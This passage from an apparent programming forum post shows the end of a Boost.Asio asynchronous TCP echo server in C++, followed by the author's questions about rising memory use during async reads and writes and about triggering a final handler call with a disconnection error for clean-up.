handle_accept(session* new_session, const boost::system::error_code& error) { if (!error) { new_session->start(); new_session = new session(io_service_); acceptor_.async_accept(new_session->socket(), boost::bind(&server::handle_accept, this, new_session, boost::asio::placeholders::error)); } else { delete new_session; } } private: boost::asio::io_service& io_service_; tcp::acceptor acceptor_; }; int main(int argc, char* argv[]) { try { if (argc != 2) { std::cerr << "Usage: async_tcp_echo_server <port>\n"; return 1; } boost::asio::io_service io_service; using namespace std; // For atoi. server s(io_service, atoi(argv[1])); io_service.run(); } catch (std::exception& e) { std::cerr << "Exception: " << e.what() << "\n"; } return 0; } While experimenting with boost::asio I've noticed that within the calls to async_write()/async_read_some() there is a usage of the C++ "new" keyword. Also, when stressing this echo server with a client (1 connection) that sends for example 100,000 times some data, the memory usage of this program is getting higher and higher. What's going on? Will it allocate memory for every call? Or am I wrong? Asking because it doesn't seem right that a server app will allocate, anything. Can I handle it, say with a memory pool? Another side-question: See the "this-socket().close();" ? I want it, as the comment right to it says, to dispatch that same function one last time, with a disconnection error. Need that to do some clean-up. How do I do that? Thank you all gurus (:

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